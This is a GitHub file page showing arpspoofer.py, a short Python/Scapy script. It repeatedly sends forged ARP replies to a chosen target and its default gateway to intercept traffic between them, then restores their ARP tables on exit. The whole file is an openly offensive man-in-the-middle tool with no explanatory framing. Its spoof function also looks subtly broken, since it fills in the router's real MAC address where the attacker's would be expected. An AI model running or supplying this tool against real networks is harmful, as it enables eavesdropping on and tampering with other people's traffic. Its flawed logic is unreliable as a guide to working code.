Repository navigation
Expand file tree
/
Copy patharpspoofer.py
More file actions
57 lines (48 loc) · 1.74 KB
/
Copy patharpspoofer.py
File metadata and controls
57 lines (48 loc) · 1.74 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import scapy.all as scapy
import optparse
import time
def get_args():
parser = optparse.OptionParser()
parser.add_option("-t","--target",dest="target",help="the target IP")
parser.add_option("-r","--route",dest="router",help="the deafult gateway IP")
options, _ = parser.parse_args()
if not options.target:
parser.error("[-] Please enter a target IP address")
if not options.router:
parser.error("[-] Please enter a default gateway IP address")
return options
options = get_args()
route_ip = options.router
target_ip = options.target
def get_mac(IP):
arp_req = scapy.ARP(pdst=IP)
arp_broad = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_full = arp_broad/arp_req
answered, _ = scapy.srp(arp_full, timeout=1, verbose=False)
if answered:
return answered[0][1].hwsrc
else:
print("No response received for ARP request to", IP)
return "00:00:00:00:00:00" # Default MAC address
def spoof(target, router):
target_mac = get_mac(target)
route_mac = get_mac(router)
arp_res = scapy.ARP(op=2, pdst=target, hwdst=target_mac, psrc=router, hwsrc=route_mac)
ether = scapy.Ether(dst=target_mac)
packet = ether / arp_res
scapy.send(packet, verbose=False)
def restore(target_ip,route_ip):
target_mac = get_mac(target_ip)
route_mac = get_mac(route_ip)
arp_res = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=route_ip, hwsrc=route_mac)
scapy.send(arp_res,verbose=False,count=4)
try:
while True:
time.sleep(2)
spoof(target_ip, route_ip)
spoof(route_ip, target_ip)
print("[+] 2 Packets sent")
except KeyboardInterrupt:
restore(target_ip,route_ip)
restore(route_ip,target_ip)
print("[-] quitting...")